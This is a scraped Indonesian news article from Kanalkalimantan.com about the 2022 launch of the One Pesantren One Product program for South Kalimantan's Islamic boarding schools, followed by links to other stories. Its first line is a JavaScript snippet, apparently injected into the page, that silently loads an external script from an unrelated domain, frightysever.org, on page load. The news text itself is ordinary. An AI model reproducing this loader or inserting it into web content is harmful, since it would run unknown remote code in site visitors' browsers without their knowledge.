(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Program One Pesantren One Product (OPOP) yang diluncurkan Kamis (11/8/2022) baru diikuti 34 pesantren dari 289 pesantren yang terdata di Kementerian Agama Provinsi Kalimantan Selatan.
Program tersebut bertujuan untuk mendorong pemberdayaan pesantren agar memiliki produk unggulan dan mandiri secara ekonomi.
Ketua Harian Ikatan Pesantren Indonesia Kalsel, KH. Muhammad Abdul Hamid mengatakan pesantren dalam bisnis nantinya akan menjadi penghubung antara masyarakat dan pemerintahan.
“Jika pesantren itu berbisnis ada 2 keuntungan, pertama masyarakat percaya produk tersebut halal, kedua masyarakat secara tidak menyumbang dengan membeli barang,” ujarnya.
Baca juga : Jelang HUT Kemerdekaan, Warga Kampung Pekapuran Laut Semarak dengan Merah Putih
Dikatakan pria biasa disapa Gus Hamid ini, pesantren bekerjsama dengan OPOP membentung holding pesantren untuk mempunyai produk guna tercipta jual beli didalamnya untuk kemaslahatan pesantrennya.
Dibeberkan Gus Hamid dalam OPOP ini pada awalnya direncanakan ada 50 pesantren, karena beberapa kendala hanya ada 34 pesantren yang ikut.
“Untuk pertama lounching ini ada 34 pesantren, rencana 50 karena kurangnya sosialisasi, ini yang akan jadi pilot projek OPOP dan IPI untuk meningkatkan kemandirian pesantren,” bebernya.
Ke depan, ujar Gus Hamid, 289 pesantren akan diikutkan dalam bagian program OPOP tersebut.
Baca juga :Â Pencemaran Sungai Alalak, Timbul Gumpalan Cairan Hitam dan Bau Menyengat!
“Rencana semua, step by step, sedikit demi sedikit,” sebutnya.
Masih kata Gus Hamid, dalam pemasarannya OPOP Kalsel ini merupakan yang ke-3 se Indonesia, IPI akan melakukan studi banding dengan OPOP yang lebih dulu.
Terkait produk yang dihasilkan pesantren, dikatakan Gus Hamid di Kalsel sendiri bisa dibagi menjadi beberapa klaster seperti peternakan, pertambakan, fashion, makanan, minuman dan lain-lain.
Hingga saat produk hasil dari pondok pesantren dikatakan Gus Hamis sudah merambat ke dunia digitalisasi.
Baca juga : Bau Air Limbah Hotel di SDN 7 Antasan Besar, Ketua Komisi III: Sudah Lama, Pemko Lambat Tangani
Lebih jauh, menurut Gus Hamid hingga saat ini pondok pesantren kekurangan sumber daya manusia (SDM).
“Dengan adanya OPOP bisa membentuk SDM yang bagus dan bisa terbentuk bisnis-bisnis yang berkualitas, sehingga terbentuklah kemandirian pondok pesantren,” tandasnya.(Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : cell
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.